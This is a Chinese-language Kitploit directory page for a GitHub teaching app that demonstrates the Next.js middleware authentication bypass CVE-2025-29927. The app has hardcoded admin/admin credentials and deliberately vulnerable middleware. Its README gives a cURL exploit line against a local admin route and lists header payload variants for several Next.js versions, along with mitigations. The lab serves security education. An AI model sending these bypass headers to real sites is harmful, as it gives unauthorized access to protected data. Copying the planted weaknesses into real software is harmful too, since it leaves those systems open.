Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kazuya256/next-js-auth-bypass
身份验证与授权漏洞分析Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubkazuya256/next-js-auth-bypass

next-js-auth-bypass

🔓 Next.js Auth Bypass Demo - 演示CVE-2025-29927中间件认证绕过漏洞的教学应用程序。 ⚠️ 仅供教育用途。[使用AI制作]

查看仓库
131年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Hello World - Next.js 12.2

一个简单的 Next.js 12.2 概念验证应用。

🚀 快速开始

1. 安装依赖

root@kitploit:~
npm install

2. 运行开发服务器

root@kitploit:~
npm run dev

应用将在 http://localhost:3000 可用

🛠️ 可用脚本

  • npm run dev - 启动开发服务器
  • npm run build - 构建生产版本
  • npm run start - 启动生产服务器

🎯 功能特性

  • ✅ Next.js 12.2 - 最新稳定版本
  • ✅ React 18.2 - 现代 React 特性
  • ✅ 简洁设计 - 干净、响应式 UI
  • ✅ 认证系统 - 使用硬编码凭据登录
  • ✅ 管理面板 - 包含敏感数据的受保护仪表盘
  • ✅ 脆弱中间件 - 演示认证绕过技术
  • ✅ 漏洞演示 - 易于复现的安全问题

🔧 自定义

编辑 pages/index.js 修改 Hello World 页面。为简化起见,应用使用内联样式,但你可以根据需要添加 CSS 文件或样式库。

🔓 CVE-2025-29927 安全演示

本应用演示了由 Rachid.A (zhero) 和 Yasser Allam (inzo_) 发现的 CVE-2025-29927 漏洞:

📋 漏洞详情

  • CVE: CVE-2025-29927
  • CVSS: 9.1/10(严重)
  • 受影响版本: Next.js 11.1.4 - 15.2.2
  • 影响: 利用 x-middleware-subrequest 头实现完全中间件绕过

🎯 演示凭据

  • 用户名: admin
  • 密码: admin

🚨 CVE-2025-29927 利用方法

  1. 浏览器扩展(ModHeader) - 添加 x-middleware-subrequest: middleware 头
  2. JavaScript 控制台 - 使用包含绕过头的 fetch 请求
  3. cURL 利用 - curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
  4. Python Requests - 添加头以完全绕过中间件

🔧 载荷变体

  • Next.js 12.2+: x-middleware-subrequest: middleware
  • 使用 /src 目录: x-middleware-subrequest: src/middleware
  • Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ 缓解措施

  • 更新至 Next.js 15.2.3+(14.x 升级至 14.2.25+)
  • 在代理/CDN 层面阻止 x-middleware-subrequest 头
  • 实施额外的服务器端验证

⚠️ 警告:本演示仅用于教育目的,展示真实 CVE!

📦 依赖

  • next:12.2.0
  • react:18.2.0
  • react-dom:18.2.0

🎨 样式

为简化起见,本应用使用内联样式。对于生产应用,建议使用:

  • CSS Modules
  • Styled Components
  • Tailwind CSS
  • 或任何其他样式方案

祝你编码愉快!🚀

下载工具